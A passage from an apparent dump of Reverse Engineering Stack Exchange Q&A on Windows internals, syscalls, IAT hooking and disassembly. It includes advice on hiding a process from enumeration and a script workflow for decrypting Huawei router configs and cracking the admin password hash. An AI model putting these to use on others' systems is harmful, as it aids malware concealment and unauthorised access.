508CC777              | mov edx,ntdll.77C78C50                                                                         |\n77C6205A | FFD2                     | call edx                                                                                       |\n77C6205C | C2 1C00                  | ret 1C                                                                                         |\n77C6205F | 90                       | nop                                                                                            |\n77C62060 | B8 3D000000              | mov eax,3D                                                                                     | 3D:'='\n77C62065 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |\n77C6206A | FFD2                     | call edx                                                                                       |\n77C6206C | C2 0800                  | ret 8                                                                                          |\n77C6206F | 90                       | nop                                                                                            |\n77C62070 | B8 3E000300              | mov eax,3003E                                                                                  |\n77C62075 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |\n77C6207A | FFD2                     | call edx                                                                                       |\n77C6207C | C2 0400                  | ret 4                                                                                          |\n</code></pre>\n",
        "Title": "What is the ending bytes in the MOV instruction in 32 bit applications in windows? (B8 mov)",
        "Tags": "|disassembly|windows|x86|x64dbg|x86-64|",
        "Answer": "<p>It seems you're looking at a Wow64 syscall stubs in 32-bit <code>ntdll.dll</code>. WOW64 can use a special value in the high part of the syscall number for so-called <em>Turbo thunks</em>. From <a href=\"https://wbenny.github.io/2018/11/04/wow64-internals.html\" rel=\"nofollow noreferrer\">WoW64 internals</a> by \"wbenny\":</p>\n\n<pre><code>typedef struct _WOW64_SYSTEM_SERVICE\n{\n    ULONG SystemCallNumber  : 12;\n    ULONG ServiceTableIndex :  4;\n    ULONG TurboThunkNumber  :  5; // Can hold values 0 - 31\n    ULONG AlwaysZero        : 11;\n} WOW64_SYSTEM_SERVICE, *PWOW64_SYSTEM_SERVICE;\n</code></pre>\n\n<p>It seems this is done to speed up extraction of syscall arguments from the x86 stack area. The thunk number used  in <code>NtTerminateProcess</code> wrapper (7) corresponds to <code>Thunk2ArgSpNSp</code> which has the following code:</p>\n\n<pre><code>.text:000000006B101C40                 movsxd  r10, dword ptr [r11]\n.text:000000006B101C43                 mov     edx, [r11+4]\n.text:000000006B101C47                 jmp     short Thunk0Arg\n</code></pre>\n\n<p>So the first dword from the x86 stack (to which <code>r11</code> points) is sign-extended into <code>r10</code> while the second is copied into <code>rdx</code> (equivalent to zero-extending into <code>rdx</code>).</p>\n"
    },
    {
        "Id": "22054",
        "CreationDate": "2019-09-05T17:06:39.400",
        "Body": "<p>So there was a question asked before about this :</p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/19333/what-are-the-difference-syscall-and-int-0x2e-instructions\">What are the difference syscall and int 0x2E instructions?</a></p>\n\n<p>and it has two answer, one says that is just a way to check if we are in a 32 bit or 64 bit windows! </p>\n\n<p>if this is the actual answer, then why do we need to check if we are in a 32 bit system in a 64 bit app! it wont even start if its in a 32 bit system, and this check doesn't happen on the 32 bit version of the app</p>\n\n<p>and if the other answer is true, then i couldn't find anything clear on the relation of this address and \"virtualization security\", can anyone elaborate a bit more on this? why is this check happens? :</p>\n\n<pre><code>test    byte ptr ds:7FFE0308h, 1\njnz     short loc_a\nsyscall\nretn\n</code></pre>\n",
        "Title": "Why address 7FFE0308 always gets compared in 64bit applications before making a syscall in Ntdll?",
        "Tags": "|windows|x86|x86-64|security|windows-10|",
        "Answer": "<p>During Kernel Initialization  ntKiSystemCallSelector is Initialized from LOADER_PARAMETER_BLOCK </p>\n\n<pre><code>0: kd&gt; dt nt!_LOADER_PARAMETER_BLOCK Extension-&gt;VsmConfigured\n   +0x0f0 Extension                : \n      +0x074 VsmConfigured            : Pos 8, 1 Bit\n</code></pre>\n\n<p>if SystemCallSelector is Set to True </p>\n\n<p>KUSER_SHARED_DATA->SystemCall is also set to true and int 2E is used \nelse syscall is used</p>\n\n<pre><code>IsVsmConfigured = Loader_Param_Block-&gt;Extension-&gt;_bitfield_116;\nif ((IsVsmConfigured &amp; 8) != 0) {\n  _KiBootDebuggerActive = 1;\n  IsVsmConfigured = Loader_Param_Block-&gt;Extension-&gt;_bitfield_116;\n}\nif ((IsVsmConfigured &gt;&gt; 8 &amp; 1) != 0) {\n  _KiSystemCallSelector = 1;\n}\nKiInitializeIdt(lVar7,0);\nHalInitializeBios(0xffffffff,Loader_Param_Block);\nInbvDriverInitialize(0xffffffff,Loader_Param_Block,0);\n</code></pre>\n\n<p>Based On the Extension->VsmConfigured kuser->SysstemCall is set</p>\n\n<pre><code>  if (((param_5 == 0) &amp;&amp;\n      (local_2a0 = param_1, local_280 = param_3, local_278 = param_2, local_270 = param_2,\n      local_268 = param_4, HvlPhase0Initialize(param_6), _KiSystemCallSelector == 1)) &amp;&amp;\n     ((HvlEnlightenments &amp; 0x80000) != 0)) {\n    _kuser-&gt;SystemCall = 1;\n  }\n</code></pre>\n\n<p>Windows Details </p>\n\n<pre><code>C:\\&gt;wmic os get Caption,OsArchitecture,Version /format:list\n\nCaption=Microsoft Windows 10 Pro\nOSArchitecture=64-bit\nVersion=10.0.17763\n</code></pre>\n\n<p>details of the global KiSystemCallSelector  and its usage in module ntkrnlmp </p>\n\n<pre><code>0: kd&gt; x /v /t nt!*ki*sys*sel*\npub global fffff805`4fa23164    0 &lt;NoType&gt; nt!KiSystemCallSelector = &lt;no type information&gt;\n\n\n0: kd&gt; lm m nt\nBrowse full module list\nstart             end                 module name\nfffff805`4f016000 fffff805`4fa87000   nt (pdb symbols)   \n \\ntkrnlmp.pdb\\9A729548AB1A93E90D0A48528CE30B7A1\\ntkrnlmp.pdb\n\n\n0: kd&gt; # *nt!KiSystemCallSelector* fffff805`4f016000 l?(fffff805`4fa87000-fffff805`4f016000)\n\nnt!KiInitializeBootStructures+0x224:\nf805`4f5865a4 44892db9cb4900  mov dword ptr [nt!KiSystemCallSelector (f805`4fa23164)],r13d \nnt!KiInitializeKernel+0x5be:\nf805`4f587e6e 443935efb24900  cmp dword ptr [nt!KiSystemCallSelector (f805`4fa23164)],r14d\nnt!KiInitializeIdt+0x169:\nf805`4f58954d 833d109c490001  cmp dword ptr [nt!KiSystemCallSelector (f805`4fa23164)],1\n</code></pre>\n\n<p>Back And Forward Disassembly of Search Hits</p>\n\n<pre><code>0: kd&gt; ub fffff805`4f5865a4\nnt!KiInitializeBootStructures+0x206:\nf805`4f586586 488b96f0000000  mov rdx,qword ptr [rsi+0F0h] &lt;&lt;&lt;&lt;;LPARMBLOCK-&gt;Extension\nf805`4f58658d 8b4274          mov eax,dword ptr [rdx+74h] &lt;&lt;&lt;&lt;;LPARMEXT-&gt;@#74\nf805`4f586590 a808            testal,8\nf805`4f586592 740a            je  nt!KiInitializeBootStructures+0x21e (fffff805`4f58659e)\nf805`4f586594 44892d81d04900  mov dword ptr [nt!KiBootDebuggerActive (f805`4fa2361c)],r13d\nf805`4f58659b 8b4274          mov eax,dword ptr [rdx+74h]\nf805`4f58659e 0fbae008        bt  eax,8           &lt;&lt;&lt;&lt; bittesting bit 8 \nf805`4f5865a2 7307            jae nt!KiInitializeBootStructures+0x22b (fffff805`4f5865ab)\n\n0: kd&gt; $$ rsi = LOADER_PARAMETER_BLOCK\n\n0: kd&gt; dt nt!_LOADER_PARAMETER_BLOCK -y Exten\n   +0x0f0 Extension : Ptr64 _LOADER_PARAMETER_EXTENSION\n\n0: kd&gt; dt nt!_LOADER_PARAMETER_EXTENSION -y vsm\n   +0x074 VsmConfigured : Pos 8, 1 Bit\n\n0: kd&gt; $$ r13d = 1\n\n0: kd&gt; u fffff805`4f5865a4\nnt!KiInitializeBootStructures+0x224:\n;set if vsmConfigured\nf805`4f5865a4 44892db9cb4900  mov dword ptr [nt!KiSystemCallSelector (f805`4fa23164)],r13d\nf805`4f5865ab 33d2            xor edx,edx\nf805`4f5865ad 498bcf          mov rcx,r15\nf805`4f5865b0 e82f2e0000      call nt!KiInitializeIdt (fffff805`4f5893e4)\nf805`4f5865b5 83cbff          or ebx,0FFFFFFFFh\nf805`4f5865b8 488bd6          mov rdx,rsi\nf805`4f5865bb 8bcb            mov ecx,ebx\n</code></pre>\n\n<p>ntKiSystemStartup Calls nt!KiInitializeKernel post nt!KiInitializeBootStructures\nwhere this global is used again </p>\n\n<pre><code>0: kd&gt; uf /c nt!KiSystemStartup\nnt!KiSystemStartup (fffff805`4f57c010)\n  nt!KiSystemStartup+0x2d (fffff805`4f57c03d):\n    call to nt!KdInitSystem (fffff805`4f92d140)\n  nt!KiSystemStartup+0x14b (fffff805`4f57c15b):\n    call to nt!KiInitializeBootStructures (fffff805`4f586380)\n  nt!KiSystemStartup+0x167 (fffff805`4f57c177):\n    call to nt!KdInitSystem (fffff805`4f92d140)\n  nt!KiSystemStartup+0x17e (fffff805`4f57c18e):\n    call to nt!KiInitializeXSave (fffff805`4f589850)\n  nt!KiSystemStartup+0x204 (fffff805`4f57c214):\n    call to nt!KiInitializeKernel (fffff805`4f5878b0)\n  nt!KiSystemStartup+0x284 (fffff805`4f57c294):\n    call to nt!KiIdleLoop (fffff805`4f1cd920)\n</code></pre>\n\n<p>Disassembly Of nt!KiInitializeKernel</p>\n\n<pre><code>0: kd&gt; u fffff805`4f587e6e\nnt!KiInitializeKernel+0x5be:\nf805`4f587e6e 443935efb24900  cmp dword ptr [nt!KiSystemCallSelector (f805`4fa23164)],r14d\nf805`4f587e75 0f85affaffff    jne nt!KiInitializeKernel+0x7a (f805`4f58792a)\nf805`4f587e7b e902660000      jmp nt!KiInitializeKernel+0x6bd2 (fffff805`4f58e482)  &lt;&lt;&lt;&lt;---\n\n\n\n0: kd&gt; u fffff805`4f58e482 &lt;&lt;&lt;&lt;----\nnt!KiInitializeKernel+0x6bd2:\nf805`4f58e482 f70550aefcff00000800 test dword ptr [nt!HvlEnlightenments (f805`4f5592dc)],80000h\nf805`4f58e48c 0f849894ffff    je nt!KiInitializeKernel+0x7a (f805`4f58792a)\nf805`4f58e492 418bc6          mov eax,r14d\nf805`4f58e495 a30803000080f7ffff mov   dword ptr [FFFFF78000000308h],eax  &lt;&lt;&lt;&lt;&lt;------\nf805`4f58e49e e98794ffff      jmp nt!KiInitializeKernel+0x7a (f805`4f58792a)\n</code></pre>\n\n<p>the Address <strong>FFFFF78000000308h</strong> is part of KUSER_SHARED_MAP</p>\n\n<pre><code>0: kd&gt; dt nt!_KUSER_SHARED_DATA -y SystemCall fffff78000000000\n   +0x308 SystemCall : 0  &lt;&lt;&lt;&lt;\n   +0x30c SystemCallPad0 : 0\n   +0x310 SystemCallPad : [2] 0\n</code></pre>\n"
    },
    {
        "Id": "22062",
        "CreationDate": "2019-09-06T14:33:28.537",
        "Body": "<p>So it seems that there are a lot of ways of getting the process list, although I'm not sure whether in the low level do they acquire them from same place or not</p>\n\n<p>so these are the ways i know :</p>\n\n<ol>\n<li><p>QuerySystemInformation (Zw or Nt)</p></li>\n<li><p>some place in the TEB which is pointed by FS register </p></li>\n<li><p>CreateToolhelp32Snapshot</p></li>\n</ol>\n\n<p>and i guess there are   more ways too</p>\n\n<p>so my questions are :</p>\n\n<ol>\n<li><p>do these methods use the same structure/linked list in the virtual memory of the process or they might use different methods? </p></li>\n<li><p>If i hook the ZwQuerySystemInformation, will this stop the process from getting the list of processes? if not, then how can i be sure that a process cannot get the list? which functions should i hook or modify?</p></li>\n</ol>\n",
        "Title": "How to hide a process from all the methods of getting the list of processes?",
        "Tags": "|windows|x86|malware|x64dbg|x86-64|",
        "Answer": "<ol>\n<li><p>Pretty much, they will all eventually read the PEPROCESS object directory.</p></li>\n<li><p>Maybe not, depends on what you're trying to hide from. If it's just some basic usermode process iteration then you're probably fine. There's quite a few ways to iterate the process object directory though, such as ZwGetNextProcess.</p></li>\n</ol>\n\n<p>Your best bet would probably be ObRegisterCallbacks if you want to block access to your process, but it still won't be enough depending on privilege level and how they're iterated.</p>\n"
    },
    {
        "Id": "22063",
        "CreationDate": "2019-09-06T15:40:47.967",
        "Body": "<p>I'm trying to get a particular piece of malware to beacon, and I have my box connected to remnux, with inetsim and fakedns running. Using this setup I have been able to acquire good pcap from most samples, but this one is a bit vexing.</p>\n\n<p>I can see that my sample is reaching out over TCP to the correct C2 server, but ICMP returns \"destination unreachable (network unreachable)\". I went ahead and used route/iptables as described in this post: <a href=\"https://techanarchy.net/blog/installing-and-configuring-inetsim\" rel=\"nofollow noreferrer\">https://techanarchy.net/blog/installing-and-configuring-inetsim</a> but now I'm finding it difficult to find the traffic since it's all to my IP in wireshark, and it seems to be ssl encrypted.</p>\n\n<p>Where do I go from here?</p>\n",
        "Title": "Difficulty obtaining malware traffic",
        "Tags": "|malware|networking|virtual-machines|",
        "Answer": "<p>Ok, nevermind.</p>\n\n<p>The answer to my question is that my particular sample uses it's own custom protocol that it sends over SSL. I can't go into further detail without mentioning the particular sample family I was working on.</p>\n\n<p>I didn't need to decrypt SSL traffic or anything, my previous steps actually did expose the web traffic the way I wanted it.</p>\n\n<p>Also, I was wrong that my steps changed the source/destination in wireshark, it was actually fine.</p>\n"
    },
    {
        "Id": "22066",
        "CreationDate": "2019-09-06T19:11:12.470",
        "Body": "<p>So i was trying to hook the ZwQuerySystemInformation or NtZwQuerySystemInformation using IAT, but i found out that these are not inside the IAT inside the memory nor in the PE file</p>\n\n<p>but maybe i am not importing them properly in my code? because in my sample code which I'm trying to hook I'm basically doing this to get its address : </p>\n\n<pre><code>ZwQuerySystemInformation = (NTSTATUS(__stdcall*)(int, PVOID, ULONG_PTR, PULONG_PTR))GetProcAddress(GetModuleHandle(L\"ntdll.dll\"), \"NtQuerySystemInformation\");\n\nZwQuerySystemInformation(SystemProcessInformation, NULL, NULL, &amp;size);\n</code></pre>\n\n<p>So my question : </p>\n\n<ol>\n<li><p>am i using the function wrong in my code and thats why its not IAT? do programs like task manager find the address of it and use it different?  </p></li>\n<li><p>is it possible to do IAT hooking with Nt and Zw functions? if not, why? I mean why its not getting included in IAT? doesn't the loader need to fix the addresses of functions just like any other library that we use?</p></li>\n<li><p>Why can we use functions like Sleep() without doing stuff like above code and don't need to find its address, but when i try to use ZwQuerySystemInformation or the Nt one, i basically get a segment fault because it tries to access it from address 0 but compiler still recognizes it? if ntdll gets imported into all processes then why can't we get its address automatically?</p></li>\n</ol>\n",
        "Title": "Can we hook the Nt or Zw functions using IAT hooking, or just inline hooking?",
        "Tags": "|windows|assembly|x86|c|",
        "Answer": "<p>\"am i using the function wrong in my code and thats why its not IAT? do programs like task manager find the address of it and use it different?\"</p>\n\n<p>It is in IAT, but in normal cases executables will never directly import anything from ntdll. Rather all the imports will be from higher level WinAPI modules such as kernel32 (i.e kernel32.VirtualQuery calls ntdll.NtQueryVirtualMemory).</p>\n\n<p>\"is it possible to do IAT hooking with Nt and Zw functions? if not, why? I mean why its not getting included in IAT? doesn't the loader need to fix the addresses of functions just like any other library that we use?\"</p>\n\n<p>Yes, it's possible, but IAT hooking by its very nature will only redirect execution from the specific module you modify. You can do it through kernel32/kernelbase but it still won't catch anything outside of that.</p>\n\n<p>\"Why can we use functions like Sleep() without doing stuff like above code and don't need to find its address, but when i try to use ZwQuerySystemInformation or the Nt one, i basically get a segment fault because it tries to access it from address 0 but compiler still recognizes it? if ntdll gets imported into all processes then why can't we get its address automatically?\"</p>\n\n<p>You can import from ntdll manually, you probably did it incorrectly if it resolved to nullptr.</p>\n"
    },
    {
        "Id": "22070",
        "CreationDate": "2019-09-07T11:41:04.980",
        "Body": "<p>I came upon this question : </p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/22066/can-we-hook-the-nt-or-zw-functions-using-iat-hooking-or-just-inline-hooking\">Can we hook the Nt or Zw functions using IAT hooking, or just inline hooking?</a></p>\n\n<p>and it got me wondering, lets say for some reason some function was not in the IAT of our target PE in virtual memory, like the above question which is Zw/NtQuerySystemInformation (I'm still not sure why this is not included in IAT tho), so in this case if we wanted to hook the IAT, would it be possible to hook the export table of kernel32.dll or ntdll.dll and do it like that instead? because i assume this function has to be there at least</p>\n\n<p>so this takes me back to the question, will the loader fill our IAT when its loading the PE into memory by checking the export tables, or when our program uses it? because if its the first case then I assume there is no way to hook the export table right?</p>\n\n<p>also does anyone know why functions like ZwQuerySystemInformation dont get included in IAT but stuff like Sleep and GetProcAddress Does?</p>\n",
        "Title": "Does the loader fill the IAT table of an .exe in load time by checking the corresponding export tables or during run time?",
        "Tags": "|windows|x86|patching|patch-reversing|x86-64|",
        "Answer": "<h1>When does the PE loader fill in the IAT?</h1>\n<p>The IAT is updated at load time by the PE Loader [1], this is called <em>Load-time dynamic linking</em>, as opposed to <em>Run-time dynamic linking</em>, where <code>LoadLibrary/GetProcAddress</code> are necessary.</p>\n<h1>Hooking an API not included in Import Address Table</h1>\n<p>There are several ways to do that actually, and Export Address Table hooking is one of them. However, your hook must be installed before the target application looks up the API you want to hook.</p>\n<h1>Include Nt/Zw APIs in the IAT</h1>\n<blockquote>\n<p>also does anyone know why functions like ZwQuerySystemInformation dont get included in IAT but stuff like Sleep and GetProcAddress Does?</p>\n</blockquote>\n<p>The only reason <code>ZwQuerySystemInformation</code> is not included in the IAT is because you didn't tell your linker to do it for you. You need need to link against ntdll import library (available by default in VS2017), or you can build you own.</p>\n<p>On my system with <code>mingw</code> and <code>clang</code> installed, I was able to take the code from [2], remove any <code>GetProcAddress/LoadLibrary</code> calls, and build it. This gives:</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;windows.h&gt;\n#include &lt;winternl.h&gt;\n\nint main(void) {\n    \n    /* load the ntdll.dll */\n    PVOID Info;\n    /* create the string in the right format */\n    UNICODE_STRING filename;\n    RtlInitUnicodeString(&amp;filename, L&quot;C:\\\\temp.txt&quot;);\n\n    /* initialize OBJECT_ATTRIBUTES */\n    OBJECT_ATTRIBUTES obja;\n    InitializeObjectAttributes(&amp;obja, &amp;filename, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n    /* call NtOpenFile */\n    IO_STATUS_BLOCK iostatusblock;\n    HANDLE file = NULL;\n    NTSTATUS stat = NtOpenFile(&amp;file, FILE_WRITE_DATA, &amp;obja, NULL, NULL, NULL);\n    if(NT_SUCCESS(stat)) {\n        printf(&quot;File successfully opened.\\n&quot;);\n    }\n    else {\n        printf(&quot;File could not be opened.\\n&quot;);\n    }\n\n    getchar();\n    return 0;\n}\n</code></pre>\n<p>To build, I use:</p>\n<pre><code>clang -target x86_64-w64-windows-gnu toto.c -o toto.exe -lntdll\n</code></pre>\n<p>Then, <em>IDA Free 7.0</em> allows us to see that <code>NtOpenFile</code> was successfully included in the IAT:</p>\n<p><a href=\"https://i.stack.imgur.com/NSKXI.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/NSKXI.png\" alt=\"NTDLL APIs in the IAT\" /></a></p>\n<h1>References</h1>\n<p>[1]: The Rootkit Arsenal, Bill Blunder, Chapter 11, p.480</p>\n<p>[2]: Calling NTDLL functions directly, <a href=\"https://resources.infosecinstitute.com/calling-ntdll-functions-directly\" rel=\"nofollow noreferrer\">https://resources.infosecinstitute.com/calling-ntdll-functions-directly</a></p>\n"
    },
    {
        "Id": "22072",
        "CreationDate": "2019-09-07T19:43:15.897",
        "Body": "<p>followed that post from Wordpress </p>\n\n<blockquote>\n  <p><a href=\"https://hg658c.wordpress.com/2017/12/04/decrypting-configuration-files-from-other-huawei-home-gateway-routers/\" rel=\"nofollow noreferrer\">https://hg658c.wordpress.com/2017/12/04/decrypting-configuration-files-from-other-huawei-home-gateway-routers/</a></p>\n</blockquote>\n\n<p>Extracted the 4 Hex strings needed. But, looks like there is a twist. the IV is 64 bits long.. so the .Py script he shared gives an error that the IV is too long.</p>\n\n<p>uploaded the 4 files (GetInfo 1 through 4) and the extractkey.py script. also included is the output from that script as a proof.</p>\n\n<blockquote>\n  <p><a href=\"https://drive.google.com/drive/folders/1hLF1I9lpB8etVNDGcuocoCmTpM6GciGJ\" rel=\"nofollow noreferrer\">https://drive.google.com/drive/folders/1hLF1I9lpB8etVNDGcuocoCmTpM6GciGJ</a></p>\n</blockquote>\n\n<p>EDIT : can anyone get me in contact with that person on the wordpress ? Maybe he can help</p>\n",
        "Title": "Decrypting the Config file of a Huawei router \"HG630 V2\"",
        "Tags": "|disassembly|firmware|decryption|python|",
        "Answer": "<p>Test <a href=\"https://github.com/minanagehsalalma/huawei-dg8045-hg630-hg633-Config-file-decryption-and-password-decode\" rel=\"nofollow noreferrer\">this script</a> out, I Tested it and it works well for me and it can even Re-encrypt the file back for hg630/hg633</p>\n<blockquote>\n<p>decryption :</p>\n<p><code>Usage :hg633.py decrypt inputfile outputfile</code></p>\n<p>encryption :</p>\n<p><code>Usage :hg633.py encrypt inputfile outputfile</code></p>\n<p>To decode the encrypted passwords</p>\n<p><code>Usage : hg633decode.py decrypt inputfile outputfile</code></p>\n</blockquote>\n<p>To fix</p>\n<blockquote>\n<p>Not a valid config file...exiting</p>\n</blockquote>\n<p>in other words to get the script to treat this your config as a valid config, add this up of the line in script that has similar value <code>XML_VERSION_TSTRING = b'TEDATA&lt;?xml version=&quot;1.0&quot; ?&gt;'</code></p>\n<p>which is the very first line of a decrypted config file</p>\n<p>and modify</p>\n<pre><code>def check_config(new_config_file):\n    head = new_config_file[0:len(XML_VERSION_STRING)]\n    if head != XML_VERSION_STRING:\n        print(&quot;Not a valid config file...exiting&quot;)\n</code></pre>\n<p><strong>to</strong></p>\n<pre><code>def check_config(new_config_file):\n    head = new_config_file[0:len(XML_VERSION_STRING)]\n    head2 = new_config_file[0:len(XML_VERSION_TSTRING)]\n    if head != XML_VERSION_STRING:\n     if head2 != XML_VERSION_TSTRING:               \n        print(&quot;Not a valid config file...exiting&quot;)\n        sys.exit()\n</code></pre>\n<p>to decode the admin password</p>\n<pre><code> sdecode.py encryptedstring\n</code></pre>\n<p>It will output a sha-256 hash which is how the password is stored in newer routers at least , you can search the hash online for possible quick cracking</p>\n<p>I couldn't figure out how to Re-encrypt the DG8045 as the signurate keeps failing even that i used the keys from getinfo function</p>\n<p>if anyone can figure how to work out the RSA_N RSA_D , that would help a lot.</p>\n"
    },
    {
        "Id": "22076",
        "CreationDate": "2019-09-08T10:28:13.337",
        "Body": "<p>As far as my level of understanding goes, the only difference between a 32 bit and 64 bit disassembler is that the produced assembler-code of a 32 bit disassembler is only using 32 bit assembly instructions, while a 64 bit disassembler also makes use of 64 bit instructions and registers.</p>\n\n<p>My questions is, what are the advantages of using a 64 bit disassembler over a 32 bit disassembler?</p>\n\n<p>Furthermore, if I want to disassemble a program compiled for a 64 bit machine, can I use a 32 bit disassembler like OllyDBG for that and what how would the output differ from a 64 bit disassembler like x64dbg?</p>\n",
        "Title": "Difference between 32 bit and 64 bit disassemblers",
        "Tags": "|disassembly|debuggers|disassemblers|x64dbg|",
        "Answer": "<p>32 and 64 differ in another way than you think. You have pretty much the same binary code but on 64 you operate on 64-bit registers and 64-bit data. 32 and 64 are about data not code. Using OllyDBG on 64-bit code is ok, but:</p>\n\n<ul>\n<li>you have to take attention that you operating on 64-bit data.<br> \nie. when Olly shows MOV DWORD[PTR], EAX  then really moves 8 bytes.</li>\n<li>one-byte instruction like INC EAX does not exist on 64-bit.<br>\nwhen OllyDBG show one-byte i.e. INC EAX this is a 64-bit prefix.<br>\nSo: XOR EAX,EAX <br>\n  INC EAX<br>\n  JZ will run differently on 32 and 64</li>\n<li>probably much more issues</li>\n</ul>\n"
    },
    {
        "Id": "22077",
        "CreationDate": "2019-09-08T14:46:16.983",
        "Body": "<p><img src=\"https://websitetoapk.com/images/screenshots/v3.4_1.png\" alt=\"enter image description here\">\nI recently came across this tool and was amazed by its size and how it can build release-apk, without even bothering about Android development environment set up on the machine, neither Cordova nor Android Studio is required.</p>\n\n<p>A bit of research showed me that the what this tool is doing is simple (most related material I found was of 2008-2014). </p>\n\n<p>Being new in reverse engineering, I wonder if there is a way I can understand its workaround and build a similar tool to automate my Cordova projects.</p>\n",
        "Title": "Is there a way to reverse engineer this small tool \"website2apk\" and design my own?",
        "Tags": "|android|executable|apk|",
        "Answer": "<p>Depending on what the tool is written in.\nIf you can it with binary analyser like ProtectionId or Pied it should tell you what compile was used to build the binary.\nIf it is build using the .NET library then you can use a decompiler like dnSpy or Reflector to view the source code. Java is also reflectable so a tool like JD/JD-GUI would be able to help recover the source code.\nIf it is a native binary (C/C++) it becomes a little trickier, you will need to use something like hexrays or ghidra to decompile binary and give a C like pseudo code which can be used to rewrite an application.\nHopefully this helps</p>\n"
    },
    {
        "Id": "22082",
        "CreationDate": "2019-09-09T07:11:11.910",
        "Body": "<p>I need to get an ELF binary's total count of</p>\n\n<ol>\n<li>Function call instruction</li>\n<li>conditional jump (branch) instruction</li>\n</ol>\n\n<p>The binary could be any CPU architecture, like x64, ARM, MIPS, Motorola 68K, etc.</p>\n\n<p>It would be best if the disassembly tool can provide an intermediate representation/language.</p>\n\n<p>I found there are several candidate options for that, like IDA Pro, Binary Ninja, Radare2, Capstone, Angr, Bap. </p>\n\n<p>Finally feel Radare2 is a good tool to implement that.\nBut I searched on the Internet, most tutorials show how to investigate specific code pieces for a specific function (e.g., main).\nHow to directly get the whole IR (called ESIL) after disassembly?</p>\n\n<p>Or any suggestions on accomplishing this task?</p>\n",
        "Title": "Get certain instruction count for multi-architecture binaries",
        "Tags": "|disassembly|radare2|arm|mips|angr|",
        "Answer": "<p>You can also do this with a Ghidra script:</p>\n<ul>\n<li><p>Iterate through the instructions with an <code>InstructionIterator</code></p>\n</li>\n<li><p>Get the instruction's <code>FlowType</code> with <code>getFlowType()</code></p>\n</li>\n<li><p>Use Ghidra's <code>isCall()</code> and <code>isConditional()</code> <a href=\"https://ghidra.re/ghidra_docs/api/ghidra/program/model/symbol/FlowType.html\" rel=\"nofollow noreferrer\">methods</a></p>\n</li>\n</ul>\n<p>Ghidra is free, open-source and this approach works on various architectures.</p>\n"
    },
    {
        "Id": "22086",
        "CreationDate": "2019-09-09T12:36:32.200",
        "Body": "<p>I am trying to learn RE and I decided to explore this field by reverse engineering a simple C++ program, which I post here:</p>\n\n<p><strong>SIMPLE C++ PROGRAM</strong></p>\n\n<pre><code>#include &lt;iostream&gt;\n\nint main()\n{\n    int value;\n    std::cout &lt;&lt; \"Hello Word\";\n    std::cin &gt;&gt; value;\n\n    return 0;\n}\n</code></pre>\n\n<p>I compiled it using MSVC compiler (VS 2017, x86 build). I wanted to understand the assembly language behind it.</p>\n\n<p>For RE I use Ghidra tool. I am currently focused only on understanding the assembly part, rather than Decompiled part, because that one makes less sense to me at the moment, but mayber if I understand the Assembly part, I would be able to decode the decompiled output.</p>\n\n<p><strong>ASSEMBLY OUTPUT:</strong></p>\n\n<pre><code>                     //\n                     // .text \n                     // ram: 00401000-00401f9a\n                     //\n                     **************************************************************\n                     *                          FUNCTION                          *\n                     **************************************************************\n                     int __cdecl main(void)\n     int               EAX:4          &lt;RETURN&gt;\n     int               EAX:4          value                                   XREF[1]:     00401032(W)  \n     char *            Stack[-0x8]:4  hello_string                            XREF[2]:     0040100d(W), \n                                                                                           0040102b(R)  \n     undefined1        Stack[-0xc]:1  local_c                                 XREF[1]:     00401021(*)  \n                     .text$mn                                        XREF[3]:     0040012c(*), 00400204(*), \n                     main                                                         __scrt_common_main_seh:00401500(\n00401000 55              PUSH       EBP\n00401001 8b ec           MOV        EBP,ESP\n00401003 83 ec 08        SUB        ESP,0x8\n00401006 a1 04 30        MOV        EAX,[___security_cookie]                         = BB40E64Eh\n         40 00\n0040100b 33 c5           XOR        EAX,EBP\n0040100d 89 45 fc        MOV        dword ptr [EBP + hello_string],EAX\n00401010 8b 0d 54        MOV        ECX,dword ptr [-&gt;MSVCP140.DLL::std::cout]        = 000027ec\n         20 40 00\n00401016 e8 25 00        CALL       std::operator&lt;&lt;&lt;struct_std::char_traits&lt;char&gt;_&gt;  basic_ostream&lt;char,struct_std::c\n         00 00\n0040101b 8b 0d 4c        MOV        ECX,dword ptr [-&gt;MSVCP140.DLL::std::cin]         = 0000284a\n         20 40 00\n00401021 8d 45 f8        LEA        EAX=&gt;local_c,[EBP + -0x8]\n00401024 50              PUSH       EAX\n00401025 ff 15 34        CALL       dword ptr [-&gt;MSVCP140.DLL::std::basic_istream&lt;\n         20 40 00\n0040102b 8b 4d fc        MOV        ECX,dword ptr [EBP + hello_string]\n0040102e 33 c0           XOR        EAX,EAX\n00401030 33 cd           XOR        ECX,EBP\n00401032 e8 fe 02        CALL       @__security_check_cookie@4                       undefined @__security_check_cook\n         00 00\n00401037 8b e5           MOV        ESP,EBP\n00401039 5d              POP        EBP\n0040103a c3              RET\n</code></pre>\n\n<p>I am trying to follow the assembly code line by line. I understand some basics of the registers mentioned there and stack allocation, but I get lost during the <code>dword ptr MOV</code> instructions and then that <code>CALL</code> instruction.</p>\n\n<p>if anyone could please elaborate to me what is happening actually there, I will start to better understand how to approach assembly code when doing RE tasks.</p>\n",
        "Title": "Understanding RE output of a simple C++ program",
        "Tags": "|assembly|c++|",
        "Answer": "<p>The first two lines are function prologue and you will see them at the beginning of almost every function:</p>\n\n<pre><code>PUSH       EBP\nMOV        EBP,ESP\n</code></pre>\n\n<p>They basically save the current <code>EBP</code> value and then store current <code>ESP</code> into <code>EBP</code>, so that the local variables and function arguments can be accessed via <code>EBP</code> (<code>ESP</code> has to change when you allocate the memory on the stack). In this case, function arguments passed via the stack will be accessed by <code>[RBP + offset]</code> while local variables by <code>[RBP - offset]</code>.</p>\n\n<p>The next line is about memory allocation - function reserves <code>8</code> bytes for its own use:</p>\n\n<pre><code>SUB        ESP,0x8\n</code></pre>\n\n<p>In the next three lines, there is a protection against <a href=\"https://en.wikipedia.org/wiki/Buffer_overflow\" rel=\"nofollow noreferrer\">buffer overflow</a>.</p>\n\n<pre><code>MOV        EAX,[___security_cookie]\nXOR        EAX,EBP\nMOV        dword ptr [EBP + hello_string],EAX\n</code></pre>\n\n<p>Here <code>[EBP + hello_string]</code> contains a random value when <a href=\"https://en.wikipedia.org/wiki/Address_space_layout_randomization\" rel=\"nofollow 